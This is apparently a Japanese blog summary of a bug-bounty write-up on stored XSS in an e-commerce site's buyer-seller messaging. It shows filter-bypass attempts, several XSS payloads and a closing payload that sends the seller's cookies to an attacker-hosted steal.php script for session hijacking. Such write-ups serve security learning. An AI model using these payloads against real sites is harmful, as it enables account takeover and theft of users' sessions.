Hello there, ('ω')ノ
イライラするXSSを。
脆弱性:
XSS
記事:
https://medium.com/@__mr_beast__/the-frustrating-xss-33607894a071
今回は、Webサイト「redacted.com」で見つけた興味深いXSSの話を共有することに。
eコマースサイトなので、買い手と売り手がメッセージを送って。
連絡できる機能があったので、XSSでテストすることに。
はじめに2つのアカウントを作成して。
1つは買い手、もう1つは売り手で。
まず、販売者のアカウントに「<>」を送信して。
これらのタグがHTMLでエンコードされているかどうかを確認すると。
フィルタはそれをエンコードしなかったので。
下記のペイロードを使用するとアラートがポップアップしたので。
<script>alert()</script>
送信をクリックすると、エラーが発生して。
それが起こったのは、 クライアント側のフィルタが。
XSSペイロードの送信を妨げているのだとおもって。
Burp Suiteを使用してクライアント側のフィルタをバイパスしようとしたものの。
うまくいかず。
次に、<script>とalert()を別々に送信して。
フィルタによって実際に何が妨げられているかを確認すると。
どちらも送信できず。
alert()の代わりにprompt()を使用してフィルタをバイパスしようとしても無理で。
次に16進エンコードを使用するとフィルタをエスケープしたので。
下記のペイロードを作成することに。
<img src=x onerror=“javascript:alert('XSS')”>
javascript:alert('XSS')
⇧
javascript:alert('XSS')
すると、フィルタをバイパスできたので。
売り手のアカウントにアクセスして。
アラートが届いたかどうかを確認してみるとアラートはなく。
さらにソースを確認すると。
「onerror=[hex encoded payload]」が切り捨てられて。
<img src=x>のみが残っていることがわかって。
アラートをトリガするために考えられるすべての方法を試したものの。
まったく成功しなくて。
ただ、フィルタは思ったよりも機能していて。
テキストボックスにペイロードを入力したときにポップアップするアラートは。
反射型XSSなので、役に立たず。
そこで、アラートをトリガするのではなく。
実際にアラートの影響を実証する必要があると思ったので。
まずは、<img src=x>が機能しているかどうかを確認するために送信してみると。
機能していたので、xを有効なURLに置き換えたところ。
画像が販売者のメッセージボックスに表示されていることがわかったので。
売り手のCookieを盗むことができるPHPスクリプトを数行コーディングして。
Webホスティングサービスにアップロードして。
下記のペイロードを実行すると。
<img src=x onerror=“this.src=‘https://[your-webhosting]/steal.php?cookie=’+document.cookie”>
次に売り手のアカウントに切り替えるとペイロードは機能したので。
Coookieを交換すると売り手に代わって実行できて。
Best regards, (^^ゞ